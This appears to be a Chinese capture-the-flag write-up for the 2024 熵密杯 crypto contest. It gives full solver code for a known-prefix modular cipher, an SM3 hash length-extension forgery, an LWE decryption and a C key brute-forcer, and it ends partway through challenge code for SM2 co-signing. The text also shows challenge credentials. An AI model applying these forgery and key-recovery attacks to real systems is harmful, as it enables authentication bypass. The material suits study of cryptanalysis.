Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86372006

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

2024熵密杯wp

第一部分:初始谜题

这一部分算是开胃菜,形式也更像平时见到的CTF题目,三个题目都是python加密的,做出其中任意一个就可以进入第二部分,也就是一个更类似真实情境的大型密码渗透系统。

但每个初始谜题都是有分数的,所以就算开了第二部分也当然要接着做。

每个题目也都有前三血的加成,一血5%,二血3%,三血1%,在最后排名的时候会先根据分数再根据解题时间,所以血量分其实很重要,但是手速实在不太够

然后就是他每个初始谜题下发的附件不仅包含加密用的.py文件,还有一个.exe文件,开启实例并输入ip和端口,之后题目就会下发加密数据,与他进行正确交互后就能拿到flag了。

初始谜题一(300 pts)

题目:

from sympy import Mod, Integer
from sympy.core.numbers import mod_inverse

# 模数
N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = Integer(int(N_HEX, 16))
MSG_PREFIX = "CryptoCup message:"


# 加密函数
def encrypt_message(message, key):
# 添加前缀
message_with_prefix = MSG_PREFIX + message
message_bytes = message_with_prefix.encode('utf-8')
message_len = len(message_bytes)
num_blocks = (message_len + 15) // 16
blocks = [message_bytes[i * 16:(i + 1) * 16] for i in range(num_blocks)]

# 进行0填充
blocks[-1] = blocks[-1].ljust(16, b'\x00')

encrypted_blocks = []

k = key

# 加密每个分组
for block in blocks:
block_int = int.from_bytes(block, byteorder='big')
encrypted_block_int = Mod(block_int * k, MODULUS)
encrypted_blocks.append(encrypted_block_int)
k += 1 # 密钥自增1

# 将加密后的分组连接成最终的密文
encrypted_message = b''.join(
int(block_int).to_bytes(32, byteorder='big') for block_int in encrypted_blocks
)

return encrypted_message


# 解密函数
def decrypt_message(encrypted_message, key):
num_blocks = len(encrypted_message) // 32
blocks = [encrypted_message[i * 32:(i + 1) * 32] for i in range(num_blocks)]

decrypted_blocks = []

k = key

# 解密每个分组
for block in blocks:
block_int = int.from_bytes(block, byteorder='big')
key_inv = mod_inverse(k, MODULUS)
decrypted_block_int = Mod(block_int * key_inv, MODULUS)
decrypted_blocks.append(decrypted_block_int)
k += 1 # 密钥自增1

# 将解密后的分组连接成最终的明文
decrypted_message = b''.join(
int(block_int).to_bytes(16, byteorder='big') for block_int in decrypted_blocks
)

# 去除前缀
if decrypted_message.startswith(MSG_PREFIX.encode('utf-8')):
decrypted_message = decrypted_message[len(MSG_PREFIX):]

return decrypted_message.rstrip(b'\x00').decode('utf-8')


# 测试
initial_key = Integer(0x123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0)
message = "Hello, this is a test message."
print("Original Message:", message)

# 加密
encrypted_message = encrypt_message(message, initial_key)
print("Encrypted Message (hex):", encrypted_message.hex())

# 解密
decrypted_message = decrypt_message(encrypted_message, initial_key)
print("Decrypted Message:", decrypted_message)

题目加密流程大概如下:

  • 有一个未知的initial_key,与一个未知的message
  • 对于这个message,题目会在他前面填上一个固定的前缀”CryptoCup message:”,并在最后补充上”\x00”使得整个消息长为16的倍数
  • 将填充了前后缀的消息按16字节为一组分组
  • 从第一个分组开始,将该分组消息转化为整数,记为mi,并计算:
  2fymr1rqxvy11771.png

其中ki是key在对应分组的值(key每个分组之后会自增一)

  • 将所有ci转成32字节,并连接在一起得到密文

靶机只会发送encrypted_message,要发送给他message来拿到flag。这个可以说是相当轻松了,由于有一个已知的前缀,并且他超过了16字节,因此就有第一个分组对应的明文和密文,所以就可以直接求出key来。

exp:

from Crypto.Util.number import *

N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = int(N_HEX, 16)
MSG_PREFIX = b"CryptoCup message:"

c = bytes.fromhex("a7ea042608ffce5be79a19ee45533506819e85f8d9250fccef5a89731151fd7a76d83aa85c47ba1357a86d0e9763470fb608cd54d0927125f500353e156a01da759fa814e96fa41a888eea3a9cf9b062923ed70774add490c7ed7f83d6b47e711e7b3c8a960dcc2838e577459bb6f2769d0917e1fd57db0829633b77652c2180")
C = [c[32*i:32*i+32] for i in range(len(c)//32)]

msg = b""
key = bytes_to_long(C[0]) * inverse(bytes_to_long(MSG_PREFIX[:16]), MODULUS) % MODULUS
for i in range(len(C)):
msg += long_to_bytes(bytes_to_long(C[i]) * inverse(key,MODULUS) % MODULUS)
key += 1
print(msg)


#CryptoCup message:dHyNBCgxEq4prNBbxjDOiOgmvviuAgfx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

发送message回去之后就会拿到flag,以及一个登录Gitea的帐号密码:

验证通过
flag{OYLXbASQsEc5SVkhBj7kTiSBc4AM5ZkR}
gitea账号:giteauser2024
gitea口令:S(*HD^WY63y89TY71
提示:gitea账号和口令用于登录第二环节的gitea服务器,请注意保存!

后面两个初始谜题也都是给一个拿分的flag,以及一个账号密码作为开第二部分的钥匙,所以后面两个初始谜题就不写这个了

初始谜题二(300 pts)

题目:

import binascii
from gmssl import sm3


# 读取HMAC key文件
def read_hmac_key(file_path):
with open(file_path, 'rb') as f:
hmac_key = f.read().strip()
return hmac_key


# 生成token
def generate_token(hmac_key, counter):
# 如果HMAC_KEY长度不足32字节,则在末尾补0,超过64字节则截断
if len(hmac_key) < 32:
hmac_key = hmac_key.ljust(32, b'\x00')
elif len(hmac_key) > 32:
hmac_key = hmac_key[:32]

# 将计数器转换为字节表示
counter_bytes = counter.to_bytes((counter.bit_length() + 7) // 8, 'big')
# print("counter_bytes:", binascii.hexlify(counter_bytes))

tobe_hashed = bytearray(hmac_key + counter_bytes)

# print("tobe_hashed:", binascii.hexlify(tobe_hashed))

# 使用SM3算法计算哈希值
sm3_hash = sm3.sm3_hash(tobe_hashed)

# 将SM3的哈希值转换为十六进制字符串作为token
token = sm3_hash

return token


current_counter = 0


def verify_token(hmac_key, counter, token):
# 生成token
generated_token = generate_token(hmac_key, counter)
global current_counter
# 比较生成的token和输入的token是否相同
if generated_token == token:
if counter & 0xFFFFFFFF > current_counter:
current_counter = counter & 0xFFFFFFFF
print("current_counter: ", hex(current_counter))
return "Success"
else:
return "Error: counter must be increasing"
else:
return "Error: token not match"


# 假设HMAC key文件路径
hmac_key_file = 'hmac_key.txt'
# 假设计数器值
counter = 0x12345678

# 读取HMAC key
hmac_key = read_hmac_key(hmac_key_file)

# 生成token
token = generate_token(hmac_key, counter)
print("Generated token:", token)
print(verify_token(hmac_key, counter, token))

题目内容很简单:

  • 读取一个未知的hmac_key,并生成一个随机的counter
  • 将hmac_key控制在32字节(不足则填充”\x00”,超出则截断)
  • 将hmac_key与counter拼接起来进行SM3哈希

然后下发的数据有:

  • SM3得到的哈希值
  • counter值

我们需要完成的事情是:

  • 找到一个新的counter,使得新counter的低32位比原来的counter大
  • 计算出hmac_key与新counter拼接后的SM3哈希值
  • 发送新counter和这个哈希值就能拿到flag

看明白题意就会知道这是一个基于SM3的哈希长度扩展攻击,由于控制了hmac_key为32字节,并且counter只有4字节,而SM3的分组长度是64字节,所以说我们拿到的哈希值是只有一个分组的。而按照SM3的填充规则,这个分组哈希的完整分组其实是下面这部分内容的part1 + part2:(单引号代表字节串,双引号代表比特串)

#448 bits
part1 = 'hmac_key'(32 bytes) + 'counter'(4 bytes) + "1" + "00...0"

#64 bits
part2 = bin(8*(len(hmac_key + counter)))[2:].zfill(64)

这两部分拼起来就得到了完整的第一个分组。

SM3的哈希长度扩展攻击基于其Merkle Damgard结构,我们可以用一个已知分组的哈希值,去继续迭代计算更长的含有该分组消息的哈希值,而不需要知道这个分组对应的明文是什么。所以我们完全可以构造下面这样的counter:

New_counter = 'counter'(4 bytes) + "1" + "00...0" + bin(8*(len(hmac_key + counter)))[2:].zfill(64) + '\xff\xff\xff\xff'

那么hmac_key拼接上这个counter后,其用于SM3哈希的消息就会按64字节分为两组,而第一组是和靶机发送的消息完全一样的,因此我们就可以利用哈希长度扩展攻击迭代计算整个消息的哈希值了,具体实现代码是赛前那天晚上在github上随便找的:

KKrias/length-extension-attack-for-SM3 (github.com)

稍微对着题意改一改就好。

exp:

def zero_fill(a,n):
if len(a)<n:
a="0"*(n-len(a))+a
return a
def cycle_shift_left( B, n):
n=n%32
return ((B << n) ^ (B >> (32 - n)))%(2**32)

def T(j):
if j>=0 and j<=15:
return int("79cc4519",16)
elif j>=16 and j<=63:
return int("7a879d8a",16)

def FF(X,Y,Z,j):
if j>=0 and j<=15:
return X^Y^Z
elif j>=16 and j<=63:
return (X&Y)|(X&Z)|(Y&Z)
def GG(X,Y,Z,j):
if j >= 0 and j <= 15:
return X ^ Y ^ Z
elif j >= 16 and j <= 63:
return (X & Y) | (~X & Z)

def P0(x):
return x^(cycle_shift_left(x,9))^cycle_shift_left(x,17)
def P1(x):
return x^(cycle_shift_left(x,15))^cycle_shift_left(x,23)

def Message_extension(a): #a的数一定要满足512bit,不够要补零!! ,承接的是字符串
W1 = [] # W0-15
W2=[] # W' 0-63
#print("a消息扩展的a:",a)
for i in range(int(len(a) / 8)):
W1.append(int(a[8 * i:8 * i + 8],16))
#print("W1的前16个",a[8 * i:8 * i + 8])
for j in range(16,68):
temp=P1(W1[j-16] ^ W1[j-9] ^ cycle_shift_left(W1[j-3],15)) ^cycle_shift_left(W1[j-13],7)^W1[j-6]
#print("消息扩展:",hex(temp))
W1.append(temp)

for j in range(0,64):
W2.append(W1[j]^W1[j+4])

W1.append(W2)
return W1

def CF(V,Bi): #V是字符串
Bi=zero_fill(Bi,128)
W=[]
W=Message_extension(Bi) #消息扩展完的消息字
#print("W:",W)
A=int(V[0:8],16)
#print("A:", hex(A))
B = int(V[8:16], 16)
C = int(V[16:24], 16)
D = int(V[24:32], 16)
E = int(V[32:40], 16)
F = int(V[40:48], 16)
G = int(V[48:56], 16)
H = int(V[56:64], 16)
for j in range(0,64):
temp=(cycle_shift_left(A,12) + E +cycle_shift_left(T(j),j)) %(2**32)
SS1=cycle_shift_left(temp,7)
SS2=SS1 ^ cycle_shift_left(A,12)
TT1=(FF(A,B,C,j) +D +SS2 +W[-1][j] ) %(2**32)
TT2=(GG(E,F,G,j)+H+SS1+W[j])%(2**32)
D=C
C=cycle_shift_left(B,9)
B=A
A=TT1
H=G
G=cycle_shift_left(F,19)
F=E
E=P0(TT2)
#print("B:", hex(B))
t1=zero_fill(hex(A^int(V[0:8],16))[2:],8)
t2 = zero_fill(hex(B ^ int(V[8:16], 16))[2:], 8)
t3 = zero_fill(hex(C ^ int(V[16:24], 16))[2:], 8)
t4 = zero_fill(hex(D ^ int(V[24:32], 16))[2:], 8)
t5 = zero_fill(hex(E ^ int(V[32:40], 16))[2:], 8)
t6 = zero_fill(hex(F ^ int(V[40:48], 16))[2:], 8)
t7 = zero_fill(hex(G ^ int(V[48:56], 16))[2:], 8)
t8 = zero_fill(hex(H ^ int(V[56:64], 16))[2:], 8)
t=t1+t2+t3+t4+t5+t6+t7+t8
return t

def SM3(plaintext):
Vtemp=IV
a=(len(plaintext)*4+1 ) % 512
#print(a)
k=0
B=[]
if a<=448:
k=448-a
elif a>448:
k=512-a+448
#print(k)
m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4))[2:],16)
#print(m)
block_len=int((len(plaintext)*4 + k + 65) / 512)
#print(block_len)
for i in range(0,block_len):
B.append(m[128*i:128*i+128]) #分组
#print("B:",B)
for i in range(0,block_len):
Vtemp=CF(Vtemp,B[i])

return Vtemp

def SM3_len_ex_ak(num_block,IV,plaintext):
Vtemp=IV
a=(len(plaintext)*4+1 ) % 512
#print(a)
k=0
B=[]
if a<=448:
k=448-a
elif a>448:
k=512-a+448
#print(k)
m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4+num_block*512))[2:],16)
#print(m)
block_len=int((len(plaintext)*4 + k + 65) / 512)
#print(block_len)
for i in range(0,block_len):
B.append(m[128*i:128*i+128]) #分组
#print("B:",B)
for i in range(0,block_len):
Vtemp=CF(Vtemp,B[i])

return Vtemp

IV="7380166f4914b2b9172442d7da8a0600a96f30bc163138aae38dee4db0fb0e4e"


#############################################################################
IV2="c2427b818b1fb3b9e72e0ec8c60d101a17865842506e6b0052278a0c156d9e7a"
num_block=1
counter = "51f18456"
New_Counter = hex(int((bin(int(counter,16))[2:].zfill(32) + "1") + "0"*(448 - 32*8 - 1 - 4*8) + bin(36*8)[2:].zfill(64) , 2))[2:] + "ffffffff"

print(New_Counter)
print(SM3_len_ex_ak(1,IV2,"FFFFFFFF"))

#flag{3WhlSlIw4tSOhbY52j6CMrUCAYSLfrS9}


初始谜题三(300 pts)

题目:

import sympy as sp
import random

# 设置参数
n = 16 # 向量长度
q = 251 # 模数

# 生成随机噪声向量e
e = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 噪声向量

# 生成随机n维私钥向量s和n*n矩阵A
s = sp.Matrix(sp.randMatrix(n, 1, min=0, max=q - 1)) # 私钥向量
Temp = sp.Matrix(sp.randMatrix(n, n, min=0, max=q - 1)) # 中间变量矩阵Temp
A = Temp.inv_mod(q) # 计算矩阵Temp在模 q 下的逆矩阵作为A

# 计算n维公钥向量b
b = (A * s + e) % q # 公钥向量b = A * s + e


# 加密函数
def encrypt(message, A, b):
m_bin = bin(message)[2:].zfill(n) # 将消息转换为16比特的二进制字符串
m = sp.Matrix([int(bit) for bit in m_bin]) # 转换为SymPy矩阵
x = sp.Matrix(sp.randMatrix(n, n, min=0, max=q // (n * 4))) # 随机产生一个n*n的矩阵x
e1 = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 随机产生一个n维噪声向量e
c1 = (x * A) % q # 密文部分c1 = x * A
c2 = (x * b + e1 + m * (q // 2)) % q # 密文部分c2 = x * b + e1 + m * q/2
return c1, c2


# 解密函数
def decrypt(c1, c2, s):
m_dec = (c2 - c1 * s) % q
m_rec = m_dec.applyfunc(lambda x: round(2 * x / q) % 2) # 还原消息
m_bin = ''.join([str(bit) for bit in m_rec]) # 将SymPy矩阵转换为二进制字符串
m_rec_int = int(m_bin, 2) # 将二进制字符串转换为整数
return m_rec_int


# 测试加解密
message = random.randint(0, 2 ** n - 1) # 要加密的消息,随机生成一个16比特整数
c1, c2 = encrypt(message, A, b) # 加密

print("原始消息: ", message)
print("公钥A=sp.", A)
print("公钥b=sp.", b)
print("密文c1=sp.", c1)
print("密文c2=sp.", c2)

decrypted_message = decrypt(c1, c2, s)
print("解密后的消息: ", decrypted_message) # 输出解密

题目名字叫lwe,具体来说给了一些如下数据:

  • 随机生成16维的01向量e
  • 随机生成16维的向量s以及16x16的可逆矩阵A,并计算:
    b=As+e
  • 将m转化为比特串,并进一步变为长度为16的01向量(也就是说m本身也只有2字节)
wxopi52fbns11776.png
  • 给出A、b、c1、c2,要求还原message并发送给他

虽然说题目叫lwe,似乎也可以通过lwe的方法求出s来,但是很显眼的一点是维数仅仅为16,实在太小了,只需要琼剧2^16其中就一定有正确的e、e1了。

然而再仔细看发现有更离谱的一点,既然A、c1都给好了并且A可逆,那么x直接求就好了,然后就可以轻松得到:

ymzya3rccxi11782.png


而由于e1也是01向量,他对向量t的大小影响可以忽略不计,所以t中大于等于q/2的位置就是m中为1的位置,否则就是0。

exp:

A = Matrix(ZZ,[[139, 63, 18, 202, 166, 185, 85, 108, 58, 90, 211, 248, 240, 44, 137, 39], [5, 230, 89, 226, 139, 24, 233, 20, 12, 108, 127, 11, 52, 64, 188, 156], [80, 61, 105, 3, 165, 96, 154, 40, 62, 103, 157, 75, 190, 101, 31, 239], [193, 100, 124, 216, 248, 95, 241, 196, 67, 192, 217, 114, 171, 248, 219, 169], [116, 71, 221, 105, 167, 153, 22, 124, 178, 45, 7, 183, 125, 8, 127, 123], [182, 162, 164, 184, 27, 148, 206, 73, 217, 86, 187, 137, 82, 150, 99, 65], [106, 60, 153, 91, 213, 41, 188, 92, 121, 246, 164, 223, 199, 85, 161, 25], [93, 97, 145, 31, 48, 36, 7, 110, 56, 47, 108, 79, 233, 186, 93, 181], [195, 98, 47, 147, 49, 40, 158, 89, 218, 8, 23, 118, 170, 19, 50, 17], [127, 95, 37, 48, 230, 244, 130, 37, 75, 125, 103, 154, 148, 218, 227, 178], [162, 235, 129, 44, 204, 228, 221, 130, 239, 36, 57, 38, 41, 74, 61, 155], [246, 11, 11, 97, 218, 57, 209, 72, 229, 27, 250, 73, 19, 64, 25, 62], [60, 162, 1, 110, 191, 130, 120, 227, 214, 98, 165, 245, 28, 55, 94, 190], [129, 212, 185, 156, 119, 239, 83, 221, 4, 174, 65, 218, 32, 211, 213, 223], [80, 218, 135, 245, 238, 127, 55, 68, 113, 145, 110, 59, 50, 177, 159, 146], [68, 239, 36, 166, 206, 23, 59, 126, 67, 152, 99, 189, 133, 113, 243, 198]])
b = Matrix(ZZ,[[88], [74], [219], [244], [81], [109], [81], [216], [125], [218], [170], [56], [152], [229], [204], [45]])
c1 = Matrix(ZZ,[[173, 2, 67, 11, 40, 80, 187, 38, 16, 226, 243, 79, 117, 127, 100, 113], [208, 231, 211, 196, 2, 146, 35, 2, 221, 119, 12, 25, 208, 152, 83, 201], [154, 43, 180, 76, 235, 5, 179, 196, 206, 171, 98, 145, 92, 144, 247, 98], [121, 145, 123, 232, 87, 78, 181, 145, 79, 166, 112, 169, 208, 102, 201, 63], [204, 141, 165, 225, 213, 137, 40, 43, 229, 151, 72, 237, 58, 15, 2, 31], [35, 114, 241, 31, 122, 123, 164, 231, 197, 89, 41, 236, 128, 22, 152, 82], [141, 133, 235, 79, 43, 120, 209, 231, 58, 85, 3, 44, 73, 245, 227, 62], [28, 158, 71, 41, 152, 32, 91, 200, 163, 46, 19, 121, 23, 209, 25, 55], [156, 17, 218, 146, 231, 242, 91, 76, 217, 57, 100, 212, 243, 87, 62, 159], [100, 111, 107, 62, 106, 72, 51, 79, 223, 93, 86, 145, 192, 21, 218, 243], [196, 250, 248, 166, 155, 39, 7, 93, 103, 54, 168, 188, 190, 104, 183, 64], [16, 131, 148, 193, 19, 149, 179, 212, 109, 170, 201, 168, 165, 167, 68, 25], [30, 222, 171, 32, 141, 105, 232, 104, 198, 53, 50, 157, 206, 165, 200, 42], [90, 149, 148, 112, 142, 228, 231, 119, 235, 248, 233, 9, 242, 102, 241, 93], [150, 32, 78, 183, 68, 249, 80, 165, 95, 229, 211, 0, 75, 14, 172, 139], [175, 69, 15, 100, 113, 63, 123, 71, 24, 250, 135, 232, 53, 32, 81, 117]])
c2 = Matrix(ZZ,[[18], [67], [187], [237], [99], [127], [128], [23], [83], [66], [64], [69], [7], [214], [43], [156]])

p = 251
A = Matrix(Zmod(p), A)
c1 = Matrix(Zmod(p), c1)
b = vector(b.T)
c2 = vector(c2.T)
x = c1*A^(-1)
t = c2 - x*b
m = ""
for i in t:
if(i >= p // 2):
m += "1"
else:
m += "0"
print(hex(int(m,2)))


#21c4


第二部分:大型密码系统

这一部分共有4个题目和一个最终挑战,题目之间是有顺序关系的,也就是要先做出某些题目,才能得到后续题目的附件、数据、登录密码之类的相关信息,具体来说这次挑战的先后顺序是:

  • flag1和flag3可以同时挑战
  • 做出flag1可以开启flag2
  • 做出flag3可以开启flag4
  • 全部完成后可以开启最终挑战


flag1(600 pts)

题目:

passwordEncryptorV2.c:

#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>

#define ROUND 16

//S-Box 16x16
int sBox[16] =
{
2, 10, 4, 12,
1, 3, 9, 14,
7, 11, 8, 6,
5, 0, 15, 13
};


// 将十六进制字符串转换为 unsigned char 数组
void hex_to_bytes(const char* hex_str, unsigned char* bytes, size_t bytes_len) {
size_t hex_len = strlen(hex_str);
if (hex_len % 2 != 0 || hex_len / 2 > bytes_len) {
fprintf(stderr, "Invalid hex string length.\n");
return;
}

for (size_t i = 0; i < hex_len / 2; i++) {
sscanf(hex_str + 2 * i, "%2hhx", &bytes[i]);
}
}


// 派生轮密钥
void derive_round_key(unsigned int key, unsigned char *round_key, int length) {

unsigned int tmp = key;
for(int i = 0; i < length / 16; i++)
{
memcpy(round_key + i * 16, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 4, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 8, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 12, &tmp, 4); tmp++;
}
}


// 比特逆序
void reverseBits(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i++) {
unsigned char byte = 0;
for (int j = 0; j < 8; j++) {
byte |= ((state[i] >> j) & 1) << (7 - j);
}
temp[15 - i] = byte;
}
for (int i = 0; i < 16; i++) {
state[i] = temp[i];
}
}


void sBoxTransform(unsigned char* state) {
for (int i = 0; i < 16; i++) {
int lo = sBox[state[i] & 0xF];
int hi = sBox[state[i] >> 4];
state[i] = (hi << 4) | lo;
}
}


void leftShiftBytes(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i += 4) {
temp[i + 0] = state[i + 2] >> 5 | (state[i + 1] << 3);
temp[i + 1] = state[i + 3] >> 5 | (state[i + 2] << 3);
temp[i + 2] = state[i + 0] >> 5 | (state[i + 3] << 3);
temp[i + 3] = state[i + 1] >> 5 | (state[i + 0] << 3);
}
for (int i = 0; i < 16; i++)
{
state[i] = temp[i];
}
}


// 轮密钥加
void addRoundKey(unsigned char* state, unsigned char* roundKey, unsigned int round) {
for (int i = 0; i < 16; i++) {
for (int j = 0; j < 8; j++) {
state[i] ^= ((roundKey[i + round * 16] >> j) & 1) << j;
}
}
}

// 加密函数
void encrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) {
unsigned char roundKeys[16 * ROUND] = {}; //

// 生成轮密钥
derive_round_key(key, roundKeys, 16 * ROUND);

// 初始状态为16字节的口令
unsigned char state[16]; // 初始状态为16字节的密码
memcpy(state, password, 16); // 初始状态为密码的初始值

// 迭代加密过程
for (int round = 0; round < ROUND; round++)
{
reverseBits(state);
sBoxTransform(state);
leftShiftBytes(state);
addRoundKey(state, roundKeys, round);
}

memcpy(ciphertext, state, 16);
}

void main() {
unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令
unsigned int key = 0xF0FFFFFF; // 4字节的密钥
unsigned char ciphertext[16]; // 16字节的状态

printf("Password: \n");
printf("%s\n", password);

encrypt(password, key, ciphertext);

// 输出加密后的结果
printf("Encrypted password:\n");
for (int i = 0; i < 16; i++) {
printf("%02X", ciphertext[i]);
}
printf("\n");
}


题目基于一个对称加密,给出了其具体实现步骤。连接靶机之后会给出密文,要求求出password,来解压带密码的协同签名源码文件压缩包,压缩包内含有本题的flag值以及flag2的源码。

可以看出在有key的情况下,解密就是把整个加密过程逆一下,这一部分交给学长很快就写好了。

然而学长发现对于靶机给出的密文,用题目给定的0xF0FFFFFF当作key是解不出他要求的”pwd:”开头的password的,所以我猜测这个key只是个示例,实际上要用这个已知的开头来爆破4字节的key。4字节对于c来说似乎也不算很大,因此简单修改下解密部分就开爆了。但是,实际效果并不是很理想,如果要爆破完所有解空间的话,差不多需要2^16秒,这对于仅仅6h的比赛来说太长了,所以要考虑一些优化。而比起仔细查看代码来说,最简单的优化当然是直接用多进程来做。

可是我只用过python的多进程,并且考虑到python本身的速度,为了用个多进程把整个求解代码转成python实在是不太划算。可是比赛不出网,要查询资料不仅需要申请,时间也只限10min,还会对整个队伍的成绩产生影响,更不划算。所以想来想去也只能三个人都多开点窗口,然后从不同的位置开爆。

也算是一种多进程了。

然而这样做有意想不到的效果——我让学弟倒着爆破的那个窗口过了一段时间真的跑出了结果,这个题也就顺利解掉了。

实际上最后一轮提示中有提到,因为某些原因,key首字节一定是F,所以倒着爆才更加快;此外还有一些其他地方可以减少耗时。

这里就不仔细研究产生这些优化的原因了,多进程肯定是最有力的XD,做出来就行。

exp:(header.h就是题目加密源码里的函数)

#include "header.h"

void print(unsigned char* m) {
for (int i = 0; i < 16; i++) {
printf("%02X", m[i]);
}
printf("\n");
}

int sBox_inv[16] =
{
13, 4, 0, 5, 2, 12, 11, 8, 10, 6, 1, 9, 3, 15, 7, 14
};

void rightShiftBytes(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i += 4) {
temp[i + 0] = state[i + 2] << 5 | (state[i + 3] >> 3);
temp[i + 1] = state[i + 3] << 5 | (state[i + 0] >> 3);
temp[i + 2] = state[i + 0] << 5 | (state[i + 1] >> 3);
temp[i + 3] = state[i + 1] << 5 | (state[i + 2] >> 3);
}
for (int i = 0; i < 16; i++) {
state[i] = temp[i];
}
}

void decrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) {
unsigned char roundKeys[16 * ROUND] = {};
derive_round_key(key, roundKeys, 16 * ROUND);
unsigned char state[16];
memcpy(state, ciphertext, 16);
for (int round = ROUND - 1; round >= 0; round--) {
addRoundKey(state, roundKeys, round);
rightShiftBytes(state);
sBoxTransform(state, sBox_inv);
reverseBits(state);
}
memcpy(password, state, 16);
}

int main() {
// cipher = "B17164A27E035012107D6F7B0454D51D"
// cipher = "99F2980AAB4BE8640D8F322147CBA409"

unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令
unsigned char ciphertext[16]; // 16字节的状态
hex_to_bytes("99F2980AAB4BE8640D8F322147CBA409", ciphertext, 16);



for (unsigned int key = 0; key < 0xFFFFFFFF; key++) {
if ((key & 0xFFFF) == 0) printf("%d\n", key);
decrypt(password, key, ciphertext);
if (password[0] == 112 && password[1] == 119 && password[2] == 100 && password[3] == 58) {
print(password);
}
}

return 0;
}


flag2(900 pts)

题目:

co-signing_client.js:

const form = ref({
password: "",
msgdigest: "",
})

const k1: any = ref("");

const submit = () => {
isform.value.validate((valid: boolean) => {
if (valid) {

loading.value = true;
let smPassword = ref("");
smPassword.value = sm3(form.value.password);
// 客户端通过用户口令、消息摘要和用户私钥d1,计算客户端协同签名值 p1x, p1y, q1x, q1y, r1, s1
var { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1, errMessage } = clientSign1(smPassword.value, form.value.msgdigest);
if (errMessage) {
ElMessage.error(errMessage)
loading.value = false;
return
}
let data = {
q1x: str_q1x,
q1y: str_q1y,
e: str_e,
r1: str_r1,
s1: str_s1,
p1x: str_p1x,
p1y: str_p1y
}
// 客户端将 e, p1x, p1y, q1x, q1y, r1, s1发送给服务端
// 服务端用服务端私钥d2计算服务端协同签名值 s2, s3, r 发送给客户端
sign_param_send(data).then((res: any) => {
// 客户端通过s2, s3, r,计算协同签名值 s
let str_s: any = clientSign2(smPassword.value, res.s2, res.s3, res.r);
if (str_s.errMessage) {
ElMessage.error(errMessage)
loading.value = false;
return
}
ElMessage.success("协同签名成功");
signature_send({ client_sign: str_s }).then((res: any) => {
qmz.value = str_s;
loading.value = false;
}).then((err: any) => {
loading.value = false;
})
}).catch((err: any) => {
loading.value = false;
})
}
})
}
const clientSign1: any = (str_d1: any, str_e: any) => {
let d1 = new BN(str_d1, 16);
// console.log("e",str_e)

let e = new BN(str_e, 16);
// console.log("e",e)
const sm2: any = new elliptic.curve.short({
p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
g: [
'32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7',
'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0'
]
} as any);

let n = new BN(sm2.n.toString(16), 16);
let G = sm2.g;

// generate random k1
const randomBytes = cryptoRandomStringAsync({ length: 64 });
k1.value = new BN(randomBytes as any, 16);
while(k1.value.mod(n).isZero()){
const randomBytes = cryptoRandomStringAsync({ length: 64 });
k1.value = new BN(randomBytes as any, 16);
}
k1.value = k1.value.mod(n);

// d1 = d1 mod n
d1 = d1.mod(n);
if (d1.isZero()) {
let errMessage = "d1=0,签名失败"
return { errMessage }
}

//P1 = ((d1)^(-1)) * G
let tmp1 = d1.invm(n);
let P1 = G.mul(tmp1);

//Q1 = k1*G = (x, y)
let Q1 = G.mul(k1.value);
let x = new BN(Q1.getX().toString(16), 16);

//r1 = x mod n
let r1 = x.mod(n);
if (r1.isZero()) {
let errMessage = "r1=0,签名失败"
return { errMessage }
}

//s1 = k1^(-1) * (e + d1^(-1) * r1) mod n
tmp1 = d1.invm(n);
let tmp2 = tmp1.mul(r1).mod(n);
let tmp3 = tmp2.add(e).mod(n);
tmp1 = k1.value.invm(n);
let s1 = tmp1.mul(tmp3).mod(n);
if (s1.isZero()) {
let errMessage = "s1=0,签名失败"
return { errMessage }
}

str_e = e.toString(16);
// console.log("str_e",str_e)
let str_p1x = P1.getX().toString(16);
let str_p1y = P1.getY().toString(16);
let str_q1x = Q1.getX().toString(16);
let str_q1y = Q1.getY().toString(16);
let str_r1 = r1.toString(16);
let str_s1 = s1.toString(16);
return { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1 }
}
const clientSign2 = (str_d1: any, str_s2: any, str_s3: any, str_r: any) => {
const sm2 = new elliptic.curve.short({
p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
